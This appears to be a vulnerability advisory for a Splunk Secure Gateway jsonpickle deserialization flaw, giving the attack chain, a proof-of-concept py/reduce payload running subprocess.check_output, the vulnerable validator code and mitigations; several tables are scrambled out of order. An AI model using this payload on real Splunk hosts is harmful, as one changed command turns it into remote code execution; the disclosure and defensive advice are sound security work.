研究员: Fady Oueslati · ReactiveZero Security Research
参考编号: 2026FO-SPLUNK-20251
CVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
状态: 开放 — 补丁可用
低权限的已认证用户可以通过在 KV Store(mobile_alerts 集合)中存储特制文档,在 Splunk 主机上实现远程代码执行。Splunk Secure Gateway(SSG)随后读取该文档并将其直接传递给 jsonpickle.decode(),从而重建任意 Python 对象——包括执行操作系统命令的对象。
该调用设置了 safe=True,但此标志仅限制遗留的 py/repr eval 路径。py/reduce、py/object、py/type、py/function 和 py/module 标签不受影响,可被完全利用。
另一个验证器(check_alert_data_valid_json)旨在阻止危险标签,但会在第一个可识别的键上短路:任何文档,如果其第一个顶层键是允许的 py/object(值以 spacebridgeapp 开头),则立即返回 True,而完全不会检查其余兄弟键——包括恶意的 py/reduce gadget——完全未被检查。
| 分支 | 修复版本 |
|---|---|
| Splunk Secure Gateway 3.9.x | 3.9.20 |
| Splunk Secure Gateway 3.10.x | 3.10.6 |
| Splunk Secure Gateway 3.8.x |
测试实例:SSG 3.9.19(运行于 Splunk Enterprise 10.0.6,macOS x86_64)。
Step 0 Low-privilege attacker writes a crafted bypass document to the
'mobile_alerts' KV Store collection via the Splunk REST API.
No admin or power role required.
Step 1 SSG processes an alert fetch request.
alerts_request_processor.py reads the document and passes it to
check_alert_data_valid_json().
→ Validator sees "py/object": "spacebridgeapp..." as the FIRST key,
returns True, and never inspects the "notification" sibling that
carries the py/reduce gadget.
Step 2 The (now validated) document is passed to
jsonpickle.decode(..., safe=True).
jsonpickle loadclass()es the lure Alert object, instantiates it,
then iterates its stored attributes. When it reaches the
"notification" value, _restore_reduce() fires:
stage1 = f(*args) # unpickler.py ~line 526
safe=True has no effect on this code path.
Outcome Arbitrary code execution as the Splunk service account.
Requires only a valid low-privilege Splunk login.
{
"py/object": "spacebridgeapp.data.alert_data.Alert",
"notification": {
"py/reduce": [
{"py/function": "subprocess.check_output"},
{"py/tuple": [["uname", "-a"]]}
]
}
}
验证器首先检查 py/object(允许),返回 True,并且永远也不会检查到 notification。
poc_cve_2026_20251.py 演示了构成完整利用链的两个条件:
| 子证明 | 说明内容 |
|---|---|
该载荷特意设计为良性(只读的 uname -a)。这不是武器化利用。
jsonpickle(从 /Applications/Splunk/etc/apps/splunk_secure_gateway/lib 加载)python3 poc_cve_2026_20251.py -h 127.0.0.1
请勿在生产系统或任何非您所有、且未经您明确书面授权测试的系统上运行。
文件: bin/spacebridgeapp/request/alerts_request_processor.py
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True) # ← sink
文件: bin/spacebridgeapp/rest/devices/alert_helper.py
# Validator short-circuits on the first 'py'-prefixed key:
for key, value in data.items():
if key.startswith("py"):
if key == "py/id":
return value.isinstance(int)
elif key == "py/object":
return value.startswith("spacebridgeapp") # ← returns immediately
else:
return False
# ... sibling keys are never reached
主要措施: 将 Splunk Secure Gateway 升级到已修复版本(3.9.20+、3.10.6+ 或 3.8.67+),并将 Splunk Enterprise 升级到 10.0.7+ / 10.2.4+ / 10.4.0+。
短期缓解措施(如果无法立即修补):
mobile_alerts 上的集合级 ACL。防御性工程模式: 切勿从受外部影响的存储数据中重建任意类型。将攻击者可触达输入上的 jsonpickle.decode() 替换为严格的、经模式校验的解析器,或向 decode() 提供显式的 classes= 白名单。确保验证例程完整遍历嵌套结构,而不是在第一个可识别的键上短路。
同一公告批次还包含 CVE-2026-20253(CVSS 9.8,通过 PostgreSQL sidecar 端点实现未认证的任意文件创建)。该漏洞在已测试的 Splunk Enterprise 10.0.6 macOS x86_64 构建中不存在:此平台不附带 PostgreSQL sidecar 组件,不存在 sidecar 二进制文件或进程,也未观察到相应端口。
这阐明了一个重要的保障原则:受影响版本字符串是可利用性的必要但不充分条件。组件级验证会实质性地改变真实风险状况。
| 字段 | 值 |
|---|---|
| 参与编号 | 2026FO-SPLUNK-20251 |
| 测试类型 | 白盒漏洞验证(静态代码分析) |
| 日期 | 2026年6月26日 |
| 范围 | 本地 Splunk Enterprise 10.0.6 研究实例(127.0.0.1:8089) |
ReactiveZero Security Research
| 3.8.67 |
| Splunk Enterprise | 10.0.7 / 10.2.4 / 10.4.0+ |
check_alert_data_valid_json() 对绕过文档返回 True,从不检查兄弟值中的 py/reduce gadget |
| B — py/reduce 执行 | jsonpickle.decode(..., safe=True) 执行 subprocess.check_output(['uname', '-a']),证明 safe=True 不会限制该代码路径 |
| 密级 | 机密 |